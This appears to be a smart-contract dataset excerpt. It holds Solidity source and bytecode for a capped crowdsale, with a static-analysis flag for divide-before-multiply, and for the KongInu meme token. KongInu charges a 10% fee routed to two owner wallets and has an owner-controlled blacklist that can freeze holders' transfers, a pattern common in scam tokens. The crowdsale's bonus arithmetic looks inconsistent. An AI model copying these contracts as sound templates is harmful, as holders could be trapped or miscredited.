>= 1 ether && weiAmount < 5 ether) tokenAmount = tokenAmount.mul(125).div(100); else if (weiAmount >= 5 ether && weiAmount < 10 ether) tokenAmount = tokenAmount.mul(135).div(100); else if (weiAmount >= 10 ether && weiAmount < 30 ether) tokenAmount = tokenAmount.mul(140).div(100); else if (weiAmount >= 30 ether && weiAmount < 150 ether) tokenAmount = tokenAmount.mul(150).div(100); else if (weiAmount >= 150 ether && weiAmount < 1000 ether) tokenAmount = tokenAmount.mul(60).div(100); return tokenAmount; } function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } contract MintedCrowdsale is Crowdsale { function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { require(ERC20Mintable(address(token())).mint(beneficiary, tokenAmount)); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _cap; constructor (uint256 cap) public { require(cap > 0); _cap = cap; } function cap() public view returns (uint256) { return _cap; } function capReached() public view returns (bool) { return weiRaised() >= _cap; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(weiRaised().add(weiAmount) <= _cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; modifier onlyWhileOpen { require(isOpen()); _; } constructor (uint256 openingTime, uint256 closingTime) public { require(closingTime > openingTime); _openingTime = openingTime; _closingTime = closingTime; } function openingTime() public view returns (uint256) { return _openingTime; } function closingTime() public view returns (uint256) { return _closingTime; } function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > _closingTime; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } } contract StackingETHDFE is CappedCrowdsale, TimedCrowdsale, MintedCrowdsale { constructor( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address payable _wallet, uint256 _cap, ERC20Mintable _token ) public Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) { } }
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631515bc2b81146100b95780632c4e722e146100e2578063355274ea146101095780634042b66f1461011e57806347535d7b146101335780634b6753bc146101485780634f9359451461015d578063521eb27314610172578063b7a8807c146101a3578063ec8ac4d8146101b8578063fc0c546a146101de575b6100b7336101f3565b005b3480156100c557600080fd5b506100ce6102af565b604080519115158252519081900360200190f35b3480156100ee57600080fd5b506100f76102b7565b60408051918252519081900360200190f35b34801561011557600080fd5b506100f76102bd565b34801561012a57600080fd5b506100f76102c3565b34801561013f57600080fd5b506100ce6102c9565b34801561015457600080fd5b506100f76102e4565b34801561016957600080fd5b506100ce6102ea565b34801561017e57600080fd5b506101876102fe565b60408051600160a060020a039092168252519081900360200190f35b3480156101af57600080fd5b506100f761030d565b6100b7600480360360208110156101ce57600080fd5b5035600160a060020a03166101f3565b3480156101ea57600080fd5b50610187610313565b6000805460010190819055346102098382610322565b60006102148261033f565b60045490915061022a908363ffffffff61049c16565b60045561023784826104ae565b60408051838152602081018390528151600160a060020a0387169233927f6faf93231a456e552dbc9961f58d9713ee4f2e69d15f1975b050ef0911053a7b929081900390910190a361028984836102ab565b6102916104b8565b61029b84836102ab565b505060005481146102ab57600080fd5b5050565b600754421190565b60035490565b60055490565b60045490565b600060065442101580156102df57506007544211155b905090565b60075490565b60006005546102f76102c3565b1015905090565b600254600160a060020a031690565b60065490565b600154600160a060020a031690565b61032a6102c9565b151561033557600080fd5b6102ab82826104f4565b6000806103576003548461052490919063ffffffff16565b9050670de0b6b3a764000083101580156103785750674563918244f4000083105b156103a65761039f606461039383607d63ffffffff61052416565b9063ffffffff61054f16565b9050610496565b674563918244f4000083101580156103c55750678ac7230489e8000083105b156103e05761039f606461039383608763ffffffff61052416565b678ac7230489e80000831015801561040057506801a055690d9db8000083105b1561041b5761039f606461039383608c63ffffffff61052416565b6801a055690d9db80000831015801561043c5750680821ab0d441498000083105b156104575761039f606461039383609663ffffffff61052416565b680821ab0d441498000083101580156104785750683635c9adc5dea0000083105b1561049657610493606461039383603c63ffffffff61052416565b90505b92915050565b60008282018381101561049357600080fd5b6102ab8282610573565b600254604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156104f1573d6000803e3d6000fd5b50565b6104fe828261062d565b6005546105198261050d6102c3565b9063ffffffff61049c16565b11156102ab57600080fd5b600082151561053557506000610496565b82820282848281151561054457fe5b041461049357600080fd5b600080821161055d57600080fd5b6000828481151561056a57fe5b04949350505050565b61057b610313565b600160a060020a03166340c10f1983836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156105f657600080fd5b505af115801561060a573d6000803e3d6000fd5b505050506040513d602081101561062057600080fd5b505115156102ab57600080fd5b600160a060020a038216151561064257600080fd5b8015156102ab57600080fdfea165627a7a72305820e02cc912eaa11b88c0adf7ae88b3e07c4568613516b0feed08931b525916bf570029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,207
0x4412482fef6f469814503198c4abb797be76d5b5
/** *Submitted for verification at Etherscan.io on 2021-12-03 */ /** *Submitted for verification at Etherscan.io */ /** * */ /** KongInu - KongInuToken Kong Inu - The gorilla token - Community driven - https://twitter.com/KongInuToken https://www.KongInuToken.com/ https://t.me/KongInuToken Launching today ✅ ___ __ ________ ________ ________ |\ \|\ \ |\ __ \|\ ___ \|\ ____\ \ \ \/ /|\ \ \|\ \ \ \\ \ \ \ \___| \ \ ___ \ \ \\\ \ \ \\ \ \ \ \ ___ \ \ \\ \ \ \ \\\ \ \ \\ \ \ \ \|\ \ \ \__\\ \__\ \_______\ \__\\ \__\ \_______\ \|__| \|__|\|_______|\|__| \|__|\|_______| /** * */ /** */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KongInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "KongInuToken"; string private constant _symbol = "KongInu"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 1; _teamFee = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 1; _teamFee = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 30000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f9578063c3c8cd8014610319578063c9567bf91461032e578063d543dbeb14610343578063dd62ed3e1461036357610114565b8063715018a61461026c5780638da5cb5b1461028157806395d89b41146102a9578063a9059cbb146102d957610114565b8063273123b7116100dc578063273123b7146101d9578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57610114565b806306fdde0314610119578063095ea7b31461016057806318160ddd1461019057806323b872dd146101b957610114565b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b25b7b733a4b73aaa37b5b2b760a11b60208201525b60405161015791906119a5565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004611836565b6103a9565b6040519015158152602001610157565b34801561019c57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610157565b3480156101c557600080fd5b506101806101d43660046117f6565b6103c0565b3480156101e557600080fd5b506101f96101f4366004611786565b610429565b005b34801561020757600080fd5b5060405160128152602001610157565b34801561022357600080fd5b506101f9610232366004611928565b61047d565b34801561024357600080fd5b506101f96104c5565b34801561025857600080fd5b506101ab610267366004611786565b6104f2565b34801561027857600080fd5b506101f961051c565b34801561028d57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102b557600080fd5b506040805180820190915260078152664b6f6e67496e7560c81b602082015261014a565b3480156102e557600080fd5b506101806102f4366004611836565b610590565b34801561030557600080fd5b506101f9610314366004611861565b61059d565b34801561032557600080fd5b506101f9610641565b34801561033a57600080fd5b506101f9610677565b34801561034f57600080fd5b506101f961035e366004611960565b610a40565b34801561036f57600080fd5b506101ab61037e3660046117be565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b6338484610b16565b5060015b92915050565b60006103cd848484610c3a565b61041f843361041a85604051806060016040528060288152602001611b76602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fd4565b610b16565b5060019392505050565b6000546001600160a01b0316331461045c5760405162461bcd60e51b8152600401610453906119f8565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a75760405162461bcd60e51b8152600401610453906119f8565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e557600080fd5b476104ef8161100e565b50565b6001600160a01b03811660009081526002602052604081205461051490611093565b90505b919050565b6000546001600160a01b031633146105465760405162461bcd60e51b8152600401610453906119f8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b6338484610c3a565b6000546001600160a01b031633146105c75760405162461bcd60e51b8152600401610453906119f8565b60005b815181101561063d576001600660008484815181106105f957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063581611b0b565b9150506105ca565b5050565b600e546001600160a01b0316336001600160a01b03161461066157600080fd5b600061066c306104f2565b90506104ef81611117565b6000546001600160a01b031633146106a15760405162461bcd60e51b8152600401610453906119f8565b601154600160a01b900460ff16156106fb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610453565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073b30826b033b2e3c9fd0803ce8000000610b16565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077457600080fd5b505afa158015610788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ac91906117a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f457600080fd5b505afa158015610808573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c91906117a2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087457600080fd5b505af1158015610888573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ac91906117a2565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108dc816104f2565b6000806108f16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095457600080fd5b505af1158015610968573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098d9190611978565b5050601180546a18d0bf423c03d8de00000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0857600080fd5b505af1158015610a1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063d9190611944565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b8152600401610453906119f8565b60008111610aba5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610453565b610adb6064610ad56b033b2e3c9fd0803ce8000000846112bc565b9061133b565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610453565b6001600160a01b038216610bd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610453565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610453565b6001600160a01b038216610d005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610453565b60008111610d625760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610453565b6001600a556009600b556000546001600160a01b03848116911614801590610d9857506000546001600160a01b03838116911614155b15610f77576001600160a01b03831660009081526006602052604090205460ff16158015610ddf57506001600160a01b03821660009081526006602052604090205460ff16155b610de857600080fd5b6011546001600160a01b038481169116148015610e1357506010546001600160a01b03838116911614155b8015610e3857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4d5750601154600160b81b900460ff165b15610eaa57601254811115610e6157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e8557600080fd5b610e9042601e611a9d565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ed557506010546001600160a01b03848116911614155b8015610efa57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0a576001600a556009600b555b6000610f15306104f2565b601154909150600160a81b900460ff16158015610f4057506011546001600160a01b03858116911614155b8015610f555750601154600160b01b900460ff165b15610f7557610f6381611117565b478015610f7357610f734761100e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fb957506001600160a01b03831660009081526005602052604090205460ff165b15610fc2575060005b610fce8484848461137d565b50505050565b60008184841115610ff85760405162461bcd60e51b815260040161045391906119a5565b5060006110058486611af4565b95945050505050565b600e546001600160a01b03166108fc61102883600261133b565b6040518115909202916000818181858888f19350505050158015611050573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61106b83600261133b565b6040518115909202916000818181858888f1935050505015801561063d573d6000803e3d6000fd5b60006008548211156110fa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610453565b60006111046113ab565b9050611110838261133b565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c157600080fd5b505afa1580156111d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f991906117a2565b8160018151811061121a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546112409130911684610b16565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611279908590600090869030904290600401611a2d565b600060405180830381600087803b15801561129357600080fd5b505af11580156112a7573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6000826112cb575060006103ba565b60006112d78385611ad5565b9050826112e48583611ab5565b146111105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610453565b600061111083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ce565b8061138a5761138a6113fc565b61139584848461142e565b80610fce57610fce600c54600a55600d54600b55565b60008060006113b8611525565b90925090506113c7828261133b565b9250505090565b600081836113ef5760405162461bcd60e51b815260040161045391906119a5565b5060006110058486611ab5565b600a5415801561140c5750600b54155b156114165761142c565b600a8054600c55600b8054600d55600091829055555b565b60008060008060008061144087611570565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061147290876115cd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114a1908661160f565b6001600160a01b0389166000908152600260205260409020556114c38161166e565b6114cd84836116b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161151291815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000611544828261133b565b821015611566576008546b033b2e3c9fd0803ce800000093509350505061156c565b90925090505b9091565b600080600080600080600080600061158d8a600a54600b546116dc565b925092509250600061159d6113ab565b905060008060006115b08e87878761172b565b919e509c509a509598509396509194505050505091939550919395565b600061111083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd4565b60008061161c8385611a9d565b9050838110156111105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610453565b60006116786113ab565b9050600061168683836112bc565b306000908152600260205260409020549091506116a3908261160f565b30600090815260026020526040902055505050565b6008546116c590836115cd565b6008556009546116d5908261160f565b6009555050565b60008080806116f06064610ad589896112bc565b905060006117036064610ad58a896112bc565b9050600061171b826117158b866115cd565b906115cd565b9992985090965090945050505050565b600080808061173a88866112bc565b9050600061174888876112bc565b9050600061175688886112bc565b905060006117688261171586866115cd565b939b939a50919850919650505050505050565b803561051781611b52565b600060208284031215611797578081fd5b813561111081611b52565b6000602082840312156117b3578081fd5b815161111081611b52565b600080604083850312156117d0578081fd5b82356117db81611b52565b915060208301356117eb81611b52565b809150509250929050565b60008060006060848603121561180a578081fd5b833561181581611b52565b9250602084013561182581611b52565b929592945050506040919091013590565b60008060408385031215611848578182fd5b823561185381611b52565b946020939093013593505050565b60006020808385031215611873578182fd5b823567ffffffffffffffff8082111561188a578384fd5b818501915085601f83011261189d